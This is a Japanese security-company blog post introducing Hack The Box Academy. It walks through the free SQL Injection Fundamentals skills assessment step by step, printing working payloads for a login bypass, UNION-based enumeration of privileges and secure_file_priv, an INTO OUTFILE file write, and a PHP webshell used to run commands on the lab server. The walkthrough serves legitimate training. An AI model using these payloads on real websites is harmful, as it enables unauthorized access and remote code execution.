Compact
true
担当領域:セキュリティ技術センター リスクハンティングチーム
ペネトレーションテストを通じて安全なシステムの構築支援の業務に従事。 CTF for GIRLS副代表として主にWeb分野の問題作成やワークショップ企画設計を担当。 CISSP Associate 保持 SANS SEC504 メダル保持 「Hardening II SU」にてMVV(Most Valuable vendor)賞受賞 趣味は美味しいものやワクワクすることを探し歩くこと。

NECサイバーセキュリティ戦略本部セキュリティ技術センターの中島です。
今回は、サイバーセキュリティのスキル向上に役立つセキュリティ学習プラットフォーム「Hack The Box Academy」[1]と、実際に学べるモジュールを1つ取り上げてご紹介します。

Hack The Box Academy のトップページ
Hack The Box Academy のトップページ
50

Hack The Box Academyとは

「Hack The Box Academy」とは、セキュリティに関する技術をインタラクティブに学ぶことができるオンライン学習プラットフォームです。以前本ブログにて紹介したトレーニングプラットフォーム「Hack The Box」[2]が自習型の実践的なトレーニングプラットフォームであるのに対して、教科書に沿ってセキュリティの理論を段階的に学ぶことができる学習プラットフォームという位置づけで2020年11月に公開されました。
Hack The Boxについては、NECセキュリティブログの【トレーニングコンテンツ:「Hack The Box」を触り始めてみた】[3]でご紹介しているので、ご興味を持ってくださった方はぜひこちらもご覧ください。

Hack The Box Academyのプラットフォーム上には、トピック毎にモジュールと呼ばれるコンテンツセットがあり、以下で構成されています。

また、モジュールは以下の3つでタグ付けされており、Tier 0 に関しては無料で取り組むことができます。

Hack The Box Academyではトピック毎に理論から体系立てて構成された教科書を使って学ぶことができます。そして、手を動かしながら演習問題に取り組むことで更に理解を深めることができます。そのため、Hack The Box のマシン攻略に取り組む前の基礎力作りや自分が理解を深めたいトピックの学習に非常に適していると感じます。

以下の表でHack The Box との違いを簡単にまとめてみました。

1
1
Hack The Box
1
1
Hack The Box Academy
1
1
種類
1
1
トレーニングプラットフォーム
1
1
学習プラットフォーム
1
1
解法の公開規約
1
1
Retiredコンテンツのみ公開可能
1
1
Tier0のモジュールのみ公開可能
1
1
アカウント作成条件
1
1
Invite Challengeを解く必要がある
1
1
事前課題を解く必要がない(条件なし)
1
1
用意するもの
1
1
問題を解くためのツールやVM
1
1
Webブラウザのみ
1
1

Hack The Box Academyではツールの準備や事前知識もほぼ必要がなく、登録してすぐに学習に取り組むことが可能です。Hack The Box でマシンを攻略するといってもどこから手を付けていいかわからない、というユーザでも取り組みやすいプラットフォームになっています。

Tier 0 : SQL Injection Fundamentalsの紹介

本記事では、「Tier 0 : SQL Injection Fundamentals」というモジュールをご紹介します。

Moduleの紹介
Moduleの紹介
50

本モジュールは以下のコンテンツで構成されます。

データベースとは何かから始まり、SQLインジェクションの手法とその裏側でどのようなクエリが組み立てられているのか、脆弱性の緩和策まで一つ一つ丁寧に説明されています。

本記事では、本モジュールのまとめ問題であるSkills Assessments の攻略方法についてご紹介します。

※ なお、Hack The Box Academy の規約により、Tier0以外のモジュールに関するWalkthroughを公開することは禁止されています。[4]

SQL Injection Fundamentals Skill Assessments 攻略

まずは問題文を確認します。

100

「SQLインジェクションの脆弱性を悪用してリモートコード実行を取得することでファイルシステムのルートディレクトリにアクセスし、flagを入手せよ」という問題文とともに、IPアドレスが与えられます。

与えられたIPアドレスにブラウザからアクセスすると、ログイン画面が表示されました。

ログイン画面
ログイン画面
50

SQLインジェクションを使ってログインをバイパスすることを考え、以下を入力してLoginボタンを押します。

' or '1'='1';--
1
1
50

ログインができ、 /dashboard/dashboard.php に遷移しました。

ダッシュボード画面
ダッシュボード画面
50

Search機能があるので、SQLインジェクションに対して脆弱かどうかを調べます。
「'」を入力して検索を実行するとエラーが表示されたため、SQLインジェクションに対して脆弱であると推測できます。

Syntaxエラーが発生していることを確認できる
Syntaxエラーが発生していることを確認できる
50

より多くの情報を得るため、まずはテーブルの列数を特定します。
Search機能で以下を入力して検索を実行するとカラム数が違うというエラーが表示されます。

' union select null;--
1
1
カラム数が違うというエラーを確認できる
カラム数が違うというエラーを確認できる
50

カラム数を増やしていくと、以下を入力して検索を実行するとエラーが表示されなくなるため、テーブルには5列あることがわかりました。

aaa' union select null, null, null, null, null;--
1
1

問題文には「リモートコード実行を狙え」とありました。そのため、Webshellを書き込むことを考えて、次にユーザのファイル権限を確認します。
以下を入力して検索を実行すると、ファイル権限が有効なことがわかりました。

aaa' union select null, grantee, privilege_type, is_grantable,null from information_schema.user_privileges;--
1
1
権限の一覧を確認できる
権限の一覧を確認できる
50

続けて、データベースに書き込み権限があるかを確認します。
以下を入力して検索を実行すると、secure_file_priv値が null であることがわかりました。これで、ファイルの読み書きが可能であることがわかります。

aaa' union select null, variable_name, variable_value, 4, 5 from information_schema.global_variables where variable_name="secure_file_priv";--
1
1
ファイルの読み書き権限を確認できる
ファイルの読み書き権限を確認できる
50

実際に書き込み可能か試してみます。
以下を入力して検索を実行し、ブラウザから /dashboard/hello.txt にアクセスします。

aaa' union select 'hello','2', '3', '4', '5' into outfile '/var/www/html/dashboard/hello.txt';--
1
1

書き込んだ内容が表示されました。

Hello.txt が書き込まれていることが確認できる
Hello.txt が書き込まれていることが確認できる
50

ファイルの書き込みが成功したので、以下を入力して検索を実行し、webshellを書き込みます。

aaa' union select '<?php system($_REQUEST[0]); ?>', "", "", "", "" into outfile '/var/www/html/dashboard/myshell.php';--
1
1

ブラウザから /dashboard/myshell.php?0=ls%20/ にアクセスします。

ls / の実行結果が表示されていることが確認できる
ls / の実行結果が表示されていることが確認できる
50

webshell が機能していることが確認できます。

最後にブラウザから /dashboard/myshell.php?0=cat%20/flag_cae1dadcd174.txt にアクセスし、flagを入手できました。

以上がSkill Assessmentsの攻略となります。
また、今回は触れませんでしたが、問題の中のデータベースの中を探索していくとadminのパスワードが隠されていたり、backupというDBがあったりとまだまだ探索し甲斐がありそうです。

おわりに

本記事では、サイバーセキュリティのスキル向上に役立つオンライン学習プラットフォーム「Hack The Box Academy」を紹介しました。

今回ご紹介したのはTier 0という一番基礎的なレベルのコンテンツになりますが、執筆時点でTier4までが公開されており、幅広いレベル・種類のコンテンツが提供されています。
攻撃方法だけではなく防御の観点からの解説も充実しており、非常に勉強になるプラットフォームですので、ぜひ活用してみてください。

参考情報

[1] https://academy.hackthebox.eu/
[2] https://www.hackthebox.eu/
[3] https://group.nec/jp/ja/solutions/cybersecurity/blog/200619
[4] https://help.hackthebox.com/en/articles/5188925-c-streaming-writeups-walkthrough-guidelines

執筆者プロフィール

執筆者
original
50

中島 春香(なかしま はるか)
セキュリティ技術センター リスクハンティングチーム

ペネトレーションテストを通じて安全なシステムの構築支援の業務に従事。
CTF for GIRLS副代表として主にWeb分野の問題作成やワークショップ企画設計を担当。
CISSP Associate 保持
SANS SEC504 メダル保持
「Hardening II SU」にてMVV(Most Valuable vendor)賞受賞
趣味は美味しいものやワクワクすることを探し歩くこと。